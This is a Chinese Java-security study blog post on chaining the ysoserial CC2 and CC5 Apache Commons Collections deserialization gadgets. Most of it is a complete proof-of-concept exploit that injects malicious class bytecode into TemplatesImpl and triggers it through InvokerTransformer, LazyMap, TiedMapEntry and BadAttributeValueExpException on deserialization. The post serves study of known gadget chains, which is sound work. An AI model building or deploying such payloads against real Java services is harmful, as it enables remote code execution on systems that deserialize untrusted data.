Java安全学习笔记--基于ysoserial反序列化利用工具CC2和CC5链构造方式的思考

前言:

ysoserial反序列化利用工具的CC5链和CC6链的利用链核心都还是LazyMap+ChainedTransformer,两条利用链通过TideMapEntry的toString和hashCode方法来触发核心利用链,最终触发get方法,这里是否能模仿CC3,CC4链做一个拼接呢?

思考实现方式:

把三个方法放一块

public V getValue() {
    return this.map.get(this.key);//这里的this.map就是我们的LazyMap
}
//LazyMap的get方法:
public V get(Object key) {
        if (!this.map.containsKey(key)) {
            V value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }

//这里的key随便传入,但是是否这里的key感觉可以利用
public int hashCode() {
    Object value = this.getValue();
    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

public String toString() {
    return this.getKey() + "=" + this.getValue();
}

LazyMap的key值由于核心构造链的ConstantTransformer的transform方法我们传什么都不会影响transform方法的调用结果,但是在回顾之前的cc链时发现似乎有些相似的地方。

//TransformingComparate
public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
//Lazymap
public V get(Object key) {
        if (!this.map.containsKey(key)) {
            V value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }

cc2链的中的一个节点使用InvokeTransformer来触发templateImp类的newTransformer,而接下来使用的是TransfomingComparator+priorityQueue来触发,我们把compare方法和get方法放一起,可以看出来了compare中的obj1被传入并被利用到,但是get方法的key没有被利用,那如果这个key是一个有效的obj1,不知道是否能实现。

实现:

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CCxPOC {
    public static void main(String[] args) throws Exception {
        //将恶意类转换为字节码
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("com.test.evilClass");
        byte[] bytes = ctClass.toBytecode();

        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor();
        //TemplatesImpl有无参构造不需传参
        Object templatesImpl = constructor.newInstance();
        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templatesImpl, new byte[][]{bytes});
        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templatesImpl , "evilTemplatesImpl");
        //利用invokerTransformer类的transform方法来触发newTransformer
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
        LazyMap lazyMap=LazyMap.lazyMap(new HashMap(),transformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,templatesImpl);
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("sad");
        Class classInstance=badAttributeValueExpException.getClass();
        Field field=classInstance.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

        //
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(badAttributeValueExpException);
        objectOutputStream.close();
        //
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

总结:

写完直接一次运行就过了说明这个思路可行,这里用的是CC2和CC5拼接,那CC2拼接CC6也就同样可行了,不过这还是相当于基于之前的CC链做的拼接,可能早就被实现过了,但起码有了自己的思考而不是仅仅只是复现。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值